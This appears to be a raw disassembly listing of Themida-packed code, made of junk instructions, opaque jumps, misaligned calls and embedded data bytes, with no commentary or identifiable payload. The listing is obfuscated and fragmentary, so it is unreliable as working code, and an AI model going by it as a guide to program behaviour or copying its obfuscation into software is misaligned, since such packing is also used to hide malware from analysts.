loc_60F7E8:				; CODE XREF: Themida_:0060F7BFj
		or	ecx, 12E7D3A1h


loc_60F7EE:				; CODE XREF: sub_60F7DE+4j
		pop	edi
		mov	edx, 7088312Bh
		movzx	eax, ax
		mov	al, dl
		mov	bx, 0DB9Dh
		jnb	loc_60F80C
		jg	loc_60F80C
		and	dh, 1Bh


loc_60F80C:				; CODE XREF: sub_60F7DE+1Fj
					; sub_60F7DE+25j
		mov	edi, ecx
		jb	loc_60F82A
		jmp	loc_60F82A
; ---------------------------------------------------------------------------
		cmp	ch, al
		push	es
		sbb	ecx, [esi+129E67B4h]
		stc
		mov	ah, 8
		dec	ebx
		cmovno	edx, eax
		lodsd


loc_60F82A:				; CODE XREF: sub_60F7DE+30j
					; sub_60F7DE+36j
		mov	cx, ax
		pusha
		mov	dh, 0E9h
		push	eax
		and	cx, 24F8h
		pop	edi
		popa
		jo	loc_60F841
		and	bh, 14h


loc_60F841:				; CODE XREF: sub_60F7DE+5Aj
		add	ebx, 649A563Dh
		clc
		add	dx, 0DC55h
		sbb	bx, 3D78h
		sub	si, 3950h
		jz	loc_60F85F
		mov	dh, bl


loc_60F85F:				; CODE XREF: sub_60F7DE+79j
		xor	al, 1Eh
		cld
		or	ebx, 5F6039C2h
		call	sub_60F874
		aad	0DBh
		int	8Ah		; used by BASIC	while in interpreter
		fsub	dword ptr [ecx]
sub_60F7DE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F874	proc near		; CODE XREF: sub_60F7DE+8Bp
		call	sub_60F886
		or	eax, 2EBDB55Fh
		add	edi, [ecx-56h]
		jo	short near ptr loc_60F8B7+5
		lock inc eax
		cli
sub_60F874	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F886	proc near		; CODE XREF: sub_60F874p
		mov	bh, ch
		pop	edi
		pop	eax
		pusha
		pusha
		mov	edi, edx
		mov	esi, 0D4864C1h
		popa
		mov	bx, 93F7h
		popa
		mov	dl, ah
		js	loc_60F8AD
		jle	loc_60F8AD
		jnz	$+6


loc_60F8AD:				; CODE XREF: sub_60F886+15j
					; sub_60F886+1Bj
		jo	loc_60F8B6
		movsx	eax, di


loc_60F8B6:				; CODE XREF: sub_60F886:loc_60F8ADj
		pusha


loc_60F8B7:				; CODE XREF: sub_60F874+Dj
		add	ebx, 3B032CD4h
		mov	ebx, 44CEEAC6h
		popa
		mov	bh, 11h
		js	loc_60F8D0
		push	esi
		or	cl, 2Bh
		pop	ebx


loc_60F8D0:				; CODE XREF: sub_60F886+3Fj
		movzx	ecx, ax
		mov	cx, ax
		xor	dl, 7Dh
		xor	eax, 213A3D94h
		or	dl, 0D7h
		jp	loc_60F8EB
		movzx	esi, di


loc_60F8EB:				; CODE XREF: sub_60F886+5Cj
		jns	loc_60F8F2
		cld


loc_60F8F2:				; CODE XREF: sub_60F886:loc_60F8EBj
					; sub_60F886+DCj
		and	eax, 0A9521A0h
		push	edx
		adc	esi, 3551088Ch
		pop	ecx
		stc
		sub	eax, 7FE10209h
		jg	$+6
		mov	ecx, 63C70235h
		cld
		jmp	loc_60F91E
; ---------------------------------------------------------------------------
		dd 92E761B0h
		db 17h,	7Dh
; ---------------------------------------------------------------------------


loc_60F91E:				; CODE XREF: sub_60F886+8Dj
		movzx	edi, ax
		or	cx, 0E6Eh
		jmp	loc_60F934
; ---------------------------------------------------------------------------
		db 47h
		dd 0C9373A1Dh, 6BE22074h
; ---------------------------------------------------------------------------


loc_60F934:				; CODE XREF: sub_60F886+A0j
		jmp	loc_60F94D
; ---------------------------------------------------------------------------
		db 0C8h, 96h, 0E8h
		dd 6BD9DF23h, 847BE11Ah, 727A2980h, 0B9329278h
		db 73h
; ---------------------------------------------------------------------------


loc_60F94D:				; CODE XREF: sub_60F886:loc_60F934j
		or	eax, 0B53FF53h
		cmc
		or	cx, 0BEC5h
		mov	ax, dx
		call	near ptr loc_60F964+2
		in	al, dx
		jg	short near ptr loc_60F8F2+1


loc_60F964:				; CODE XREF: sub_60F886+D6p
		bound	eax, [ecx-75h]
sub_60F886	endp ; sp-analysis failed

		lock pop edi
		push	ecx
		or	di, 0C3BEh
		pop	edx
		pusha
		mov	dx, 5FE5h
		jmp	loc_60F984
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		inc	esi
		pop	es
		push	esi
		setalc
		mov	[ebp+21h], di
		inc	ecx


loc_60F984:				; CODE XREF: Themida_:0060F975j
		popa
		stc
		sub	al, 0F0h
		xor	di, 578Bh
		cld
		jns	loc_60F997
		mov	bh, 9Fh


loc_60F997:				; CODE XREF: Themida_:0060F98Fj
		mov	si, 10C5h
		mov	edx, ebx
		jmp	loc_60F9B1
; ---------------------------------------------------------------------------
		dw 3123h
		dd 9498CF06h, 6CD88F55h, 182F78D5h
		db 0C2h
; ---------------------------------------------------------------------------


loc_60F9B1:				; CODE XREF: Themida_:0060F99Dj
		jmp	loc_60F9C2
; ---------------------------------------------------------------------------
		dw 788h
		dd 0C51083F8h, 0D91AF36Eh
		db 98h,	6Eh
; ---------------------------------------------------------------------------


loc_60F9C2:				; CODE XREF: Themida_:loc_60F9B1j
		and	al, 19h
		and	eax, 3CF168CEh
		jmp	loc_60F9DD
; ---------------------------------------------------------------------------
		ror	byte ptr [edx+76h], 1
		dec	edi
		pop	edx
		adc	al, 5Dh
		xchg	eax, edx
		and	eax, 2FBD3C6Ah


loc_60F9DD:				; CODE XREF: Themida_:0060F9CBj
		mov	edi, esi
		mov	si, 0FC79h
		clc
		mov	si, 638Ah
		mov	ah, dl
		jle	loc_60FA05
		jmp	loc_60FA05
; ---------------------------------------------------------------------------
		db 0ACh, 91h, 0D6h
		dd 0D0BBEEBFh, 6F1C7007h, 8B887B35h
		db 77h
; ---------------------------------------------------------------------------


loc_60FA05:				; CODE XREF: Themida_:0060F9EAj
					; Themida_:0060F9F0j
		mov	di, 0AEA2h
		movzx	ecx, cx
		push	edx
		jmp	loc_60FA1B
; ---------------------------------------------------------------------------
		dw 6F55h
		dd 53575014h
		db 73h,	9Bh, 0ABh
; ---------------------------------------------------------------------------


loc_60FA1B:				; CODE XREF: Themida_:0060FA0Dj
		pop	eax
		movzx	ecx, di
		mov	ah, ch
		and	bl, 0A1h
		push	esi
		cmc
		pop	esi
		pusha
		xor	cl, 73h
		popa
		mov	cl, dl
		cmc
		movsx	edi, bx
		stc
		jnp	loc_60FA3B
		mov	dl, 0B6h


loc_60FA3B:				; CODE XREF: Themida_:0060FA33j
		mov	al, dh
		adc	edi, 15FF95D2h
		mov	si, cx
		mov	ax, 59EAh
		mov	si, cx
		jge	$+6
		mov	dx, 2523h
		jp	$+6
		mov	dx, 2DD7h
		mov	cx, 413h
		pusha
		jo	loc_60FA82
		jmp	loc_60FA82
; ---------------------------------------------------------------------------
		db 2Bh,	26h, 0ADh
		dd 0C9ABEF1Bh, 3D768860h, 176D8D1Fh
		db 5Eh,	2Bh
; ---------------------------------------------------------------------------


loc_60FA82:				; CODE XREF: Themida_:0060FA66j
					; Themida_:0060FA6Cj
		popa
		cld
		push	eax
		mov	ax, bx
		pop	ecx
		push	edi
		mov	eax, 0C85E3A8h
		pop	eax
		xor	si, 0C41Fh
		push	eax
		jb	loc_60FAA2
		ja	$+6


loc_60FAA2:				; CODE XREF: Themida_:0060FA96j
		pop	edi
		jnz	$+6
		call	near ptr loc_60FABD+2
		sub	[edi], ch
		enter	7C26h, 0A0h
		lodsb
		db	64h
		pop	esp
		sub	edx, [esi+4C9FDFB9h]


loc_60FABD:				; CODE XREF: Themida_:0060FAA9p
		mov	esi, 90F08055h
		pop	ebx
		jmp	loc_60FAD9
; ---------------------------------------------------------------------------
		dd 1377B5B9h, 0CFCF13FAh, 0AE1265CBh, 0C48D54D9h
		db 0C5h
; ---------------------------------------------------------------------------


loc_60FAD9:				; CODE XREF: Themida_:0060FAC3j
		pusha
		cld
		popa
		jnp	loc_60FAEA
		push	edx
		jno	$+6
		pop	ecx


loc_60FAEA:				; CODE XREF: Themida_:0060FADCj
		mov	di, 452Dh
		mov	si, 0ED00h
		mov	ah, 63h
		jge	loc_60FAFB
		stc


loc_60FAFB:				; CODE XREF: Themida_:0060FAF4j
		or	eax, 22AF4924h
		xor	al, 8Ah
		mov	cx, 2110h
		mov	eax, ebx
		adc	ah, 0DEh
		pusha
		mov	ax, bx
		jmp	loc_60FB1D
; ---------------------------------------------------------------------------
		dw 0C365h
		dd 0C17A5E04h
; ---------------------------------------------------------------------------
		cmpsb


loc_60FB1D:				; CODE XREF: Themida_:0060FB11j
		popa
		mov	ch, 80h
		stc
		xor	si, 3FD6h
		mov	bx, dx
		mov	ch, bl
		xor	ch, 74h
		jmp	loc_60FB40
; ---------------------------------------------------------------------------
		db 97h
		dd 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh
; ---------------------------------------------------------------------------


loc_60FB40:				; CODE XREF: Themida_:0060FB2Ej
		jmp	loc_60FB50
; ---------------------------------------------------------------------------
		db 0F8h, 98h, 47h
		dd 0AAC11651h, 25E51D28h
; ---------------------------------------------------------------------------


loc_60FB50:				; CODE XREF: Themida_:loc_60FB40j
		jmp	loc_60FB64
; ---------------------------------------------------------------------------
		db 0ABh, 4Ah, 0DFh
		dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h
; ---------------------------------------------------------------------------


loc_60FB64:				; CODE XREF: Themida_:loc_60FB50j
		mov	dx, 0E8DCh
		adc	bh, 44h
		mov	bl, 0B6h
		mov	ch, 0BBh
		mov	bl, al
		pusha
		mov	si, 0E38Ch
		jmp	loc_60FB81
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		pop	eax
		xor	al, 0Eh
		or	[ebx], ebx


loc_60FB81:				; CODE XREF: Themida_:0060FB76j
		popa
		mov	al, 0FEh
		jp	loc_60FB8D
		and	bh, 66h


loc_60FB8D:				; CODE XREF: Themida_:0060FB84j
		mov	cx, si
		jmp	loc_60FB9E
; ---------------------------------------------------------------------------
		db 0DEh, 98h, 7Dh
		dd 58A85DFAh
		db 0FCh, 0DDh
; ---------------------------------------------------------------------------


loc_60FB9E:				; CODE XREF: Themida_:0060FB90j
		cld
		jmp	loc_60FBAD
; ---------------------------------------------------------------------------
		dd 0EF0C7728h, 357B6012h
		db 0BFh
; ---------------------------------------------------------------------------


loc_60FBAD:				; CODE XREF: Themida_:0060FB9Fj
		cmc
		adc	si, 2961h
		jz	loc_60FBC4
		jmp	loc_60FBC4
; ---------------------------------------------------------------------------
		dw 40DCh
		dd 0B2DDDD36h
; ---------------------------------------------------------------------------


loc_60FBC4:				; CODE XREF: Themida_:0060FBB3j
					; Themida_:0060FBB9j
		jmp	loc_60FBD0
; ---------------------------------------------------------------------------
		db 56h,	0ABh, 0A6h
		dd 0D8ECFB13h
; ---------------------------------------------------------------------------


loc_60FBD0:				; CODE XREF: Themida_:loc_60FBC4j
		cmc
		xor	ax, 591Eh
		ja	$+6
		add	edi, 27896772h
		jz	loc_60FC01
		jmp	loc_60FC01
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		mov	al, 5
		xor	al, 0A5h
		mov	ds, word ptr [esi-24h]
		push	edi
		aas
		jmp	short loc_60FC5F
; ---------------------------------------------------------------------------
		db 0F4h, 36h, 0D9h
; ---------------------------------------------------------------------------
		mov	word ptr [ebx+35h], ds
		lahf
		inc	edx


loc_60FC01:				; CODE XREF: Themida_:0060FBE2j
					; Themida_:0060FBE8j
		mov	bl, 0DEh
		add	edi, 2540490Fh
		adc	ax, 12EDh
		jbe	loc_60FC18
		mov	dx, 0F939h


loc_60FC18:				; CODE XREF: Themida_:0060FC0Ej
		jnz	loc_60FC22
		push	eax
		mov	ah, 98h
		pop	eax


loc_60FC22:				; CODE XREF: Themida_:loc_60FC18j
		adc	cx, 0CC71h
		mov	edi, 70F562B6h
		jmp	loc_60FC43
; ---------------------------------------------------------------------------
		db 0DDh, 0A2h, 1Fh
; ---------------------------------------------------------------------------
		fcomp	dword ptr [esi-1BF63E19h]
		xchg	eax, ebp
		inc	edi
		les	esi, [edi]
		and	ebx, [eax+edx*4]
		pop	ss


loc_60FC43:				; CODE XREF: Themida_:0060FC2Cj
		add	ebx, 734136B5h
		mov	bh, dl
		mov	ax, 0A742h
		pusha
		add	cx, 1561h
		mov	ax, bx
		popa
		pusha
		call	near ptr loc_60FC64+1


loc_60FC5F:				; CODE XREF: Themida_:0060FBF7j
		or	[ebp+edi-5Bh], edx
		std


loc_60FC64:				; CODE XREF: Themida_:0060FC5Ap
					; Themida_:0060FC9Bj
		ja	short loc_60FC75
		mov	word ptr [eax],	es
; ---------------------------------------------------------------------------
		dd 59000000h, 14E961h, 0C6B40000h
		db 0E2h
; ---------------------------------------------------------------------------


loc_60FC75:				; CODE XREF: Themida_:loc_60FC64j
		mov	eax, ds:0DF62F50Ah
		into
		mov	ah, ah
		sbb	al, [edi+edx*4]
		mov	esp, 98DBFA0Bh
		rol	byte ptr [eax-26759439h], 1
		movsx	ecx, si
		jl	loc_60FCA9
		call	near ptr loc_60FC9E+4
		inc	ecx
		dec	edi
		jg	short near ptr loc_60FC64+1
		push	ss


loc_60FC9E:				; CODE XREF: Themida_:0060FC94p
		call	far ptr	7FF3h:812F59DDh
		stc
		add	bl, [edx]
		pop	esi


loc_60FCA9:				; CODE XREF: Themida_:0060FC8Ej
		mov	si, 77A4h
		pusha
		jno	loc_60FCB5
		cmc


loc_60FCB5:				; CODE XREF: Themida_:0060FCAEj
		jl	loc_60FCBD
		pusha
		popa


loc_60FCBD:				; CODE XREF: Themida_:loc_60FCB5j
		popa
		call	loc_60FCCB
		int	0E2h		; used by BASIC	while in interpreter
		setalc
		or	ah, [edx-20h]
		cli


loc_60FCCB:				; CODE XREF: Themida_:0060FCBEp
		jp	$+6
		pop	ebx
		pusha
		mov	al, 76h
		mov	edi, 7DBFA01Ch
		popa
		mov	ecx, ebx
		sbb	bx, 0DF7Dh
		cmc
		add	edx, 14B53E9Ah
		jbe	loc_60FCF5
		xor	ecx, 7A952DC5h


loc_60FCF5:				; CODE XREF: Themida_:0060FCE9j
		push	ebx
		movsx	ebx, ax
		pop	eax
		mov	ebx, esi
		movzx	ecx, bx
		mov	dx, cx
		mov	si, dx
		call	loc_60FD18
		jbe	short loc_60FD28
		mov	ch, 0FCh
		mov	dl, dh
		sbb	eax, 2C3F0237h
		stosb
		push	ebp
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------


loc_60FD18:				; CODE XREF: Themida_:0060FD05p
		jmp	near ptr loc_60FD28+1
; ---------------------------------------------------------------------------
		db 9Eh,	82h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60FD6A


loc_60FD1F:				; CODE XREF: sub_60FD6A+15j
		scasb
		leave
		lodsd
		mov	ah, 5Ch
		wait
		retn	8170h
; END OF FUNCTION CHUNK	FOR sub_60FD6A
; ---------------------------------------------------------------------------


loc_60FD28:				; CODE XREF: Themida_:0060FD0Aj
					; Themida_:loc_60FD18j
		aam	59h
		stc
		jmp	loc_60FD43
; ---------------------------------------------------------------------------
		dd 0C684A114h, 0F6E873B2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60FD6A


loc_60FD38:				; CODE XREF: sub_60FD6A+13j
		arpl	[edx-68FF24BEh], bp
		sub	[eax+31h], ah
		inc	ebp
; END OF FUNCTION CHUNK	FOR sub_60FD6A
; ---------------------------------------------------------------------------
		db 3
; ---------------------------------------------------------------------------


loc_60FD43:				; CODE XREF: Themida_:0060FD2Bj
		call	sub_60FD56
		imul	edi, [edx+210767A3h], -55h
		imul	edi, [edi+esi+6Bh], -78h
		sbb	edi, [eax]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60FD56	proc near		; CODE XREF: Themida_:loc_60FD43p
		jmp	sub_60FD6A
sub_60FD56	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 3C9A3F40h, 8E8E55CDh, 0B72874B1h
; ---------------------------------------------------------------------------
		jz	short loc_60FD70

; =============== S U B	R O U T	I N E =======================================



sub_60FD6A	proc near		; CODE XREF: sub_60FD56j

; FUNCTION CHUNK AT 0060FD1F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0060FD38 SIZE 0000000A BYTES

		pop	ecx
		push	eax
		clc
		pop	eax
		pusha
		push	ecx


loc_60FD70:				; CODE XREF: Themida_:0060FD68j
		call	near ptr loc_60FD81+4
		sbb	[ecx+ebx*8], esi
		loop	near ptr loc_60FDE0+4
		push	ebx
		adc	al, 94h
		jno	short loc_60FD38
		jo	short loc_60FD1F


loc_60FD81:				; CODE XREF: sub_60FD6A:loc_60FD70p
		and	eax, 5BEFAAAEh
sub_60FD6A	endp ; sp-analysis failed

		pop	edx
		jo	loc_60FD90
		movzx	edx, ax


loc_60FD90:				; CODE XREF: Themida_:0060FD87j
		popa
		pusha
		jo	loc_60FD9C
		mov	cx, 0FB30h


loc_60FD9C:				; CODE XREF: Themida_:0060FD92j
		movsx	eax, dx
		popa
		movsx	ecx, dx
		mov	ebx, 37A13F95h
		call	sub_60FDC1
		mov	cl, 0Bh
		pop	ecx
		pop	ebp
		lds	ebp, [ecx]
		cmc
		iret
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		neg	dword ptr [edi+edx*4+31CB4BE4h]
		fcomp5	st(3)
		fld	st(7)

; =============== S U B	R O U T	I N E =======================================



sub_60FDC1	proc near		; CODE XREF: Themida_:0060FDA8p
		add	eax, 39A30AB4h
		pop	esi
		jmp	loc_60FDDA
; ---------------------------------------------------------------------------
		stosd


loc_60FDCE:				; CODE XREF: sub_60FDFE+17j
		xor	[ecx], ch
		dec	edx
		in	eax, 6Ch
		push	eax
		mov	edi, 4FAEB0B8h
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------


loc_60FDDA:				; CODE XREF: sub_60FDC1+7j
		ja	loc_60FDE6


loc_60FDE0:				; CODE XREF: sub_60FD6A+Ej
		adc	edx, 577CD419h


loc_60FDE6:				; CODE XREF: sub_60FDC1:loc_60FDDAj
		jp	loc_60FE04
		call	sub_60FDFE
		mov	edx, 546DB872h
		mov	cl, 42h
		shl	byte ptr [eax+esi*8-3Bh], 1
		push	cs
		dec	eax
sub_60FDC1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60FDFE	proc near		; CODE XREF: sub_60FDC1+2Bp
		sbb	cx, 47BAh
		pop	esi


loc_60FE04:				; CODE XREF: sub_60FDC1:loc_60FDE6j
		jz	near ptr loc_60FE1D+4
		jge	near ptr loc_60FE1D+4
		call	near ptr loc_60FE1D+3
		jz	short loc_60FDCE
		and	[edi-1Ch], cl
		inc	ebx
		inc	esp
		icebp


loc_60FE1D:				; CODE XREF: sub_60FDFE+12p
					; sub_60FDFE:loc_60FE04j ...
		mov	ebx, 8A58061Dh
sub_60FDFE	endp ; sp-analysis failed

		ror	dword ptr [edi], cl
		xchg	eax, [ecx]
; ---------------------------------------------------------------------------
		dw 0
		dd 0CE8F900h, 0E8000000h, 0AFB9460Ah, 0EC74D5C0h, 0E975FDC3h
		dd 10h,	13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h, 11E9605Ah
		dd 33000000h, 0A4D7FD45h, 0F1237AB0h, 4B02ED8h,	0F1363CF5h
		dd 61D18B66h, 3810Fh, 0E6800000h, 4CB9F93Ch, 0F948DEB1h
		dd 54BD56B8h, 6E956h, 0B070000h, 0FDA1FF67h, 0C0B7D08Ah
		dd 0CA816660h, 0F3813F41h, 66325B87h, 30D88061h, 9BBAEA8Ah
		dd 0E96EF41Dh, 0Ah, 7A687013h, 342B2AABh, 8D0FAA73h, 26h
		dd 10E8h, 4BF44100h, 760AE3Bh, 7301EB40h, 0E897C061h, 0BE92Ah
		dd 245F0000h, 0CCBB3A49h, 2DB757A4h, 9E85A30h, 91000000h
		dd 0D2976ACEh, 36668D8Eh, 5980F780h, 0FE9h, 0E034FA00h
		dd 0F70CFF1Ch, 5B9B83B1h, 685F8AAAh, 48A0Fh, 0BA660000h
		dd 0DE97F6Fh, 8F000000h, 951A37A5h, 7DCE7ADDh, 5A66D900h
		dd 338694BFh, 0E1BA6676h, 7E9BBh, 0D2EA0000h, 0C8E9D4E3h
		dd 6190B850h, 0CE806853h, 0EF8AF533h, 9E9h, 6BCC1000h
		dd 5404610Fh, 800F404Eh, 0Ah, 48C0Fh, 0B8660000h, 0BF0F4180h
		dd 20B866C0h, 0D88B665Fh, 67DA8166h, 50CABB7Eh,	8F0F2F49h
		dd 0
; ---------------------------------------------------------------------------
		jo	loc_60FF98
		jmp	loc_60FF98
; ---------------------------------------------------------------------------
		db 0DDh
; ---------------------------------------------------------------------------
		mov	ebx, 0E5E49939h
		push	es
		cmp	ebx, [ebx+0Ah]


loc_60FF91:				; CODE XREF: Themida_:loc_60FF91j
		ja	short loc_60FF91
		inc	ebp
		fcmovb	st, st(1)
; ---------------------------------------------------------------------------
		dw 0D86h
; ---------------------------------------------------------------------------


loc_60FF98:				; CODE XREF: Themida_:0060FF7Cj
					; Themida_:0060FF82j
		mov	edx, 2D13CE1Eh
		movzx	edx, dx
		jmp	loc_60FFAC
; ---------------------------------------------------------------------------
		db 5Bh,	73h, 0A3h
		dd 0E71FD7EEh
; ---------------------------------------------------------------------------


loc_60FFAC:				; CODE XREF: Themida_:0060FFA0j
		call	sub_60FFBF
		cmovg	ebx, [ebp-55h]
		daa
		cmp	dl, ss:[edx]
		popf
		call	near ptr 0A762D72Fh

; =============== S U B	R O U T	I N E =======================================



sub_60FFBF	proc near		; CODE XREF: Themida_:loc_60FFACp
		mov	ax, 2EFh
		pop	ebx
		call	near ptr loc_60FFCF+5
		wait
		mov	esp, 0FA4AFC2Fh


loc_60FFCF:				; CODE XREF: sub_60FFBF+5p
		les	edi, [eax+5AFF88FFh]
sub_60FFBF	endp ; sp-analysis failed

		js	loc_60FFDC
		cld


loc_60FFDC:				; CODE XREF: Themida_:0060FFD5j
		mov	dl, 7Ch
		jl	loc_60FFE5
		stc


loc_60FFE5:				; CODE XREF: Themida_:0060FFDEj
		push	edx
		jz	loc_60FFF0
		mov	ax, 9C81h


loc_60FFF0:				; CODE XREF: Themida_:0060FFE6j
		pop	esi
		mov	edi, ecx
		call	sub_610003
		db	36h
		mov	edx, [ebp-25F1989Ch]
		cmp	al, 8Dh
		cmp	al, 6Eh

; =============== S U B	R O U T	I N E =======================================



sub_610003	proc near		; CODE XREF: Themida_:0060FFF3p
		pusha
		jmp	loc_610015
; ---------------------------------------------------------------------------
		db 6Ch,	0CAh, 18h
		dd 960C7097h, 0FD1E1624h
		db 62h
; ---------------------------------------------------------------------------


loc_610015:				; CODE XREF: sub_610003+1j
		pusha
		popa
		popa
		pop	edx
		jmp	loc_61002A
; ---------------------------------------------------------------------------
		dw 0C679h
		dd 8AF0A31Dh, 65CCAA8Dh
		db 0CDh, 0E4h
; ---------------------------------------------------------------------------


loc_61002A:				; CODE XREF: sub_610003+16j
		mov	cx, si
		add	eax, 377D45B1h
		sub	si, 0B4E5h
		movzx	esi, si
		stc
		sub	bx, 0EF16h
		mov	ebx, esi
		call	near ptr loc_61004E+1
		repne inc dword	ptr [edx]
		aaa
		and	ebx, edi


loc_61004E:				; CODE XREF: sub_610003+40p
		mov	bh, cl
sub_610003	endp ; sp-analysis failed

		pop	esi
		add	esi, 3C07D420h
		movsx	edx, bx
		jno	loc_610065
		and	ax, 9834h


loc_610065:				; CODE XREF: Themida_:0061005Aj
		push	eax
		cld
		pop	eax
		movzx	ecx, si
		pusha
		sbb	eax, 14C7C1A6h
		mov	edx, 6EE7F99Dh
		popa
		add	bh, 5Ah
		mov	si, 91E2h
		jge	loc_610086
		stc


loc_610086:				; CODE XREF: Themida_:0061007Fj
		jmp	loc_61009A
; ---------------------------------------------------------------------------
		db 19h
		dd 88B479E5h, 5082E01Ah, 0F2A5B0F5h
		db 38h,	3Bh
; ---------------------------------------------------------------------------


loc_61009A:				; CODE XREF: Themida_:loc_610086j
		jz	loc_6100B8
		jmp	loc_6100B8
; ---------------------------------------------------------------------------
		db 0B0h, 0F4h, 68h
		dd 54DD37AEh, 342F44A1h, 785ED287h, 39E1286Eh
; ---------------------------------------------------------------------------


loc_6100B8:				; CODE XREF: Themida_:loc_61009Aj
					; Themida_:006100A0j
		mov	edi, ecx
		call	near ptr loc_6100CB+4
		push	esi
		loop	near ptr loc_6100D2+1
		adc	byte ptr [edi-6Bh], 8
		inc	edx
		add	[ebx+edx*2-52h], esp


loc_6100CB:				; CODE XREF: Themida_:006100BAp
		push	8B99D798h
		clc
		pop	ecx


loc_6100D2:				; CODE XREF: Themida_:006100C0j
		mov	dx, ax
		clc
		xor	edx, 2556AA4h
		jmp	loc_6100F0
; ---------------------------------------------------------------------------
		db 3Ah,	0CEh, 3Dh
		dd 250A7167h, 88A77652h, 69BF8737h
; ---------------------------------------------------------------------------


loc_6100F0:				; CODE XREF: Themida_:006100DCj
		movzx	eax, dx
		mov	cl, dh
		xor	edx, 2696BB09h
		xor	dl, 7Ch
		pusha
		cmc
		mov	ax, 0D0EDh
		popa
		pusha
		call	near ptr loc_610114+1
		xor	dl, [edx+2Dh]
		pop	ebp
		mov	cl, 0E9h
		arpl	[edi-4Eh], ax


loc_610114:				; CODE XREF: Themida_:00610106p
		mov	dl, [ebx+5Fh]
		pop	ecx
		popa
		mov	bl, 0D4h
		sub	si, 81ECh
		mov	eax, 225EF6FFh
		jmp	loc_61013E
; ---------------------------------------------------------------------------
		dw 0B79Bh
		dd 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0A513D8BCh
		db 0F3h, 9Bh
; ---------------------------------------------------------------------------


loc_61013E:				; CODE XREF: Themida_:00610125j
		push	esi
		push	eax
		mov	esi, 7960BDFAh
		pop	ebx
		pop	edi
		jmp	loc_61015E
; ---------------------------------------------------------------------------
		dd 0AE4AB809h, 407212C1h, 67C11D6Ch, 0A476D105h
		db 21h,	0AAh
; ---------------------------------------------------------------------------


loc_61015E:				; CODE XREF: Themida_:00610147j
		pusha
		pusha
		mov	cx, 0EE5h
		jmp	loc_61016F
; ---------------------------------------------------------------------------
		db 0D6h, 1Fh, 0ECh
		db 0BCh, 8Eh, 0D7h
; ---------------------------------------------------------------------------


loc_61016F:				; CODE XREF: Themida_:00610164j
		popa
		popa
		mov	ecx, esi
		movsx	edx, dx
		mov	edx, edi
		jmp	loc_610191
; ---------------------------------------------------------------------------
		db 18h,	2, 8Ah
		dd 28507F27h, 0CE2B3463h, 59D06D1Ch, 6BFEA5E4h
		db 0A1h
; ---------------------------------------------------------------------------


loc_610191:				; CODE XREF: Themida_:00610178j
		xor	al, 2Ch
		call	near ptr loc_6101AB+1 ;	CODE XREF: Themida_:loc_6101ABj
		add	al, 0DBh
		xor	cl, [eax+4A5F5C58h]
		pop	ebx
		pop	ebx
		push	0FFFFFF92h
		sbb	al, 0F1h
		add	ebp, [edx-76h]
		pop	ds


loc_6101AB:				; CODE XREF: Themida_:00610194p
		jo	short near ptr loc_610194+1
		add	eax, 9B000000h
		inc	esi
		sub	[ecx], cl
		lodsd
		mov	di, 5ACAh
		pop	edi
		pop	eax
		mov	eax, 573CEBB0h	; CODE XREF: Themida_:0061020Ej
		stc
		jno	loc_6101CD
		mov	eax, 6B09E22Bh


loc_6101CD:				; CODE XREF: Themida_:006101C2j
		pusha
		movsx	ebx, di
		jmp	loc_6101E6
; ---------------------------------------------------------------------------
		dw 0A26Ah
		dd 0CB1D1EB6h, 1434CE13h, 0ED52F287h
		db 67h,	0E1h
; ---------------------------------------------------------------------------


loc_6101E6:				; CODE XREF: Themida_:006101D1j
		popa
		jz	loc_6101EF
		mov	edi, edx


loc_6101EF:				; CODE XREF: Themida_:006101E7j
		mov	dl, cl
		movsx	esi, si
		stc
		movsx	ecx, cx
		add	edx, 78D5F5C4h
		mov	esi, 5993684Bh
		stc
		call	near ptr loc_610215+1
		mov	ebp, 0B40D0783h
		jl	short near ptr loc_6101BC+2
		mov	ds:0F421063Bh, eax


loc_610215:				; CODE XREF: Themida_:00610204p
		imul	esp, [esi-7Fh],	-22h
		and	al, 3Ch
		pop	edi
		push	ecx
		cld
		pop	ecx
		jmp	loc_610238
; ---------------------------------------------------------------------------
		dd 0BCB95C0h, 45ECF67Bh, 66389710h, 0A92C140Bh,	0EABE5BBFh
; ---------------------------------------------------------------------------


loc_610238:				; CODE XREF: Themida_:0061021Fj
		jmp	loc_610247
; ---------------------------------------------------------------------------
		align 2
		dw 5761h
		dd 47AF766Ah
		db 9Eh,	72h, 94h
; ---------------------------------------------------------------------------


loc_610247:				; CODE XREF: Themida_:loc_610238j
		and	di, 9EA2h
		mov	cx, si
		sub	ebx, 0B3C1E6Ch
		pusha
		mov	di, 3016h
		mov	ah, 9Ch
		popa
		mov	bh, cl
		mov	al, bh
		mov	esi, eax
		clc
		mov	dl, ch
		mov	al, bh
		movsx	ecx, cx
		jle	loc_610281
		push	ecx
		call	near ptr loc_610279+6
		in	eax, 4Bh


loc_610279:				; CODE XREF: Themida_:00610272p
		jmp	far ptr	59B6h:785661F1h
; ---------------------------------------------------------------------------
		pop	ecx


loc_610281:				; CODE XREF: Themida_:0061026Bj
		jnb	loc_6102A4
		call	sub_610297
		sbb	ebp, [esi+69h]
		ror	bh, 0B2h
		add	ch, [edi+edi*2]
		iret
; ---------------------------------------------------------------------------
		sti

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_610297	proc near		; CODE XREF: Themida_:00610287p
		jmp	sub_6102A3
sub_610297	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 6Dh,	80h, 0B8h
; ---------------------------------------------------------------------------
		mov	eax, edi
		cwde

